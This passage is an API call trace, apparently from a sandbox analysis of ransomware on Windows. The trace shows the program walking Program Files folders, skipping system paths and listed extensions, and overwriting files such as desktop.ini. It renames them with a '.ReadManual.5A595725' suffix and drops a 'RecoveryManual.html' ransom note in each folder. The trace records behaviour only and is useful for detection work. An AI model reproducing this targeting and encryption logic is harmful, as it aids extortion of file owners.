dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.352] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8192) returned 1 [0250.352] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2000, lpName=0x0) returned 0x184 [0250.352] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xae) returned 1 [0250.353] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.353] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.354] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.354] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2000) returned 0x2f0000 [0250.355] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37102372745) returned 1 [0250.355] CloseHandle (hObject=0x184) returned 1 [0250.355] SetSecurityInfo () returned 0x5 [0250.355] SetSecurityInfo () returned 0x5 [0250.355] LocalFree (hMem=0x674d38) returned 0x0 [0250.355] CloseHandle (hObject=0x194) returned 1 [0250.355] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0250.355] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="xmlrw.dll" | out: lpString1="xmlrw.dll") returned="xmlrw.dll" [0250.355] lstrcmpiW (lpString1="xmlrw.dll", lpString2="RecoveryManual.html") returned 1 [0250.355] StrStrIW (lpFirst="xmlrw.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.355] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.355] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.355] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0250.356] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="xmlrwbin.dll" | out: lpString1="xmlrwbin.dll") returned="xmlrwbin.dll" [0250.356] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="RecoveryManual.html") returned 1 [0250.356] StrStrIW (lpFirst="xmlrwbin.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.356] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.356] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.356] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0250.356] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0250.356] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0250.356] lstrcpyW (in: lpString1=0x6ab8ee, lpString2="wab32.dll" | out: lpString1="wab32.dll") returned="wab32.dll" [0250.356] lstrcmpiW (lpString1="wab32.dll", lpString2="RecoveryManual.html") returned 1 [0250.356] StrStrIW (lpFirst="wab32.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.356] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.356] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.356] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\" [0250.356] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\RecoveryManual.html" [0250.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0250.357] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0250.358] CloseHandle (hObject=0x190) returned 1 [0250.358] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0250.358] lstrcpyW (in: lpString1=0x6ab8ee, lpString2="wab32res.dll" | out: lpString1="wab32res.dll") returned="wab32res.dll" [0250.358] lstrcmpiW (lpString1="wab32res.dll", lpString2="RecoveryManual.html") returned 1 [0250.358] StrStrIW (lpFirst="wab32res.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.358] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.358] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.358] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0250.358] FindClose (in: hFindFile=0x6bfe80 | out: hFindFile=0x6bfe80) returned 1 [0250.358] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0250.358] FindClose (in: hFindFile=0x688c28 | out: hFindFile=0x688c28) returned 1 [0250.358] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0250.358] lstrcpyW (in: lpString1=0x6ab8c6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0250.358] lstrcmpiW (lpString1="desktop.ini", lpString2="RecoveryManual.html") returned -1 [0250.358] StrStrIW (lpFirst="desktop.ini", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.358] StrCmpIW (psz1="ini", psz2="exe") returned 1 [0250.358] StrCmpIW (psz1="ini", psz2="dll") returned 1 [0250.358] StrCmpIW (psz1="ini", psz2="sys") returned -1 [0250.358] StrCmpIW (psz1="ini", psz2="msi") returned -1 [0250.358] StrCmpIW (psz1="ini", psz2="mui") returned -1 [0250.358] StrCmpIW (psz1="ini", psz2="inf") returned 1 [0250.359] StrCmpIW (psz1="ini", psz2="cat") returned 1 [0250.359] StrCmpIW (psz1="ini", psz2="bat") returned 1 [0250.359] StrCmpIW (psz1="ini", psz2="cmd") returned 1 [0250.359] StrCmpIW (psz1="ini", psz2="ps1") returned -1 [0250.359] StrCmpIW (psz1="ini", psz2="vbs") returned -1 [0250.359] StrCmpIW (psz1="ini", psz2="ttf") returned -1 [0250.359] StrCmpIW (psz1="ini", psz2="fon") returned 1 [0250.359] StrCmpIW (psz1="ini", psz2="lnk") returned -1 [0250.359] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\desktop.ini" | out: lpString1="\\\\?\\c:\\Program Files\\desktop.ini") returned="\\\\?\\c:\\Program Files\\desktop.ini" [0250.359] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\desktop.ini", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\desktop.ini.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\desktop.ini.ReadManual.5A595725" [0250.359] lstrlenW (lpString="\\\\?\\c:\\Program Files\\desktop.ini.ReadManual.5A595725") returned 52 [0250.359] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe60 | out: lpPerformanceCount=0x434fe60*=37102760226) returned 1 [0250.359] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0250.359] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0250.359] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x434fe78 | out: lpFileSize=0x434fe78*=174) returned 1 [0250.359] CreateFileMappingW (hFile=0x188, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae, lpName=0x0) returned 0x18c [0250.359] SetFileInformationByHandle (hFile=0x188, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x78) returned 1 [0250.360] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.360] WriteFile (in: hFile=0x188, lpBuffer=0x434fd60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd5c, lpOverlapped=0x0 | out: lpBuffer=0x434fd60*, lpNumberOfBytesWritten=0x434fd5c*=0x20, lpOverlapped=0x0) returned 1 [0250.360] WriteFile (in: hFile=0x188, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd5c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd5c*=0x100, lpOverlapped=0x0) returned 1 [0250.361] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae) returned 0x2f0000 [0250.361] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.361] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe68 | out: lpPerformanceCount=0x434fe68*=37102950963) returned 1 [0250.361] CloseHandle (hObject=0x18c) returned 1 [0250.361] SetSecurityInfo () returned 0x57 [0250.361] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0250.361] CloseHandle (hObject=0x188) returned 1 [0250.361] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\" | out: lpString1="\\\\?\\c:\\Program Files\\") returned="\\\\?\\c:\\Program Files\\" [0250.361] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\RecoveryManual.html" [0250.361] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\RecoveryManual.html" (normalized: "c:\\program files\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0250.362] WriteFile (in: hFile=0x188, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fec8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fec8*=0xae9, lpOverlapped=0x0) returned 1 [0250.363] CloseHandle (hObject=0x188) returned 1 [0250.363] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe0c48680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0c48680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0250.363] lstrcpyW (in: lpString1=0x69b8c6, lpString2="DVD Maker" | out: lpString1="DVD Maker") returned="DVD Maker" [0250.363] lstrcatW (in: lpString1="DVD Maker", lpString2="\\" | out: lpString1="DVD Maker\\") returned="DVD Maker\\" [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\Windows\\") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\WINNT") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.364] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.364] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\") returned 31 [0250.364] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe0c48680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0c48680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfe80 [0250.364] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\" [0250.364] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe0c48680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0c48680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.364] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0250.364] lstrcpyW (in: lpString1=0x6ab8da, lpString2="audiodepthconverter.ax" | out: lpString1="audiodepthconverter.ax") returned="audiodepthconverter.ax" [0250.364] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="RecoveryManual.html") returned -1 [0250.364] StrStrIW (lpFirst="audiodepthconverter.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.364] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0250.364] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0250.364] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0250.364] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0250.364] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0250.365] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0250.365] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax" [0250.365] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax.ReadManual.5A595725" [0250.365] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax.ReadManual.5A595725") returned 73 [0250.365] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37103364464) returned 1 [0250.365] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax")) returned 0x20 [0250.366] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.366] GetLastError () returned 0x5 [0250.366] GetNamedSecurityInfoW () returned 0x0 [0250.366] SetNamedSecurityInfoW () returned 0x0 [0250.366] SetNamedSecurityInfoW () returned 0x0 [0250.367] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0250.367] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=50688) returned 1 [0250.367] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc600, lpName=0x0) returned 0x190 [0250.367] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa2) returned 1 [0250.368] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.368] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0250.372] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0250.372] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc600) returned 0x2f0000 [0250.373] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.373] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37104216216) returned 1 [0250.373] CloseHandle (hObject=0x190) returned 1 [0250.373] SetSecurityInfo () returned 0x5 [0250.374] SetSecurityInfo () returned 0x5 [0250.374] LocalFree (hMem=0x674d38) returned 0x0 [0250.374] CloseHandle (hObject=0x18c) returned 1 [0250.374] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\" [0250.374] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html" [0250.374] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0250.374] WriteFile (in: hFile=0x18c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0250.375] CloseHandle (hObject=0x18c) returned 1 [0250.375] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1cc850, ftCreationTime.dwHighDateTime=0x1d5c6e4, ftLastAccessTime.dwLowDateTime=0xf35dc780, ftLastAccessTime.dwHighDateTime=0x1d5c925, ftLastWriteTime.dwLowDateTime=0xf35dc780, ftLastWriteTime.dwHighDateTime=0x1d5c925, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xa0000003, 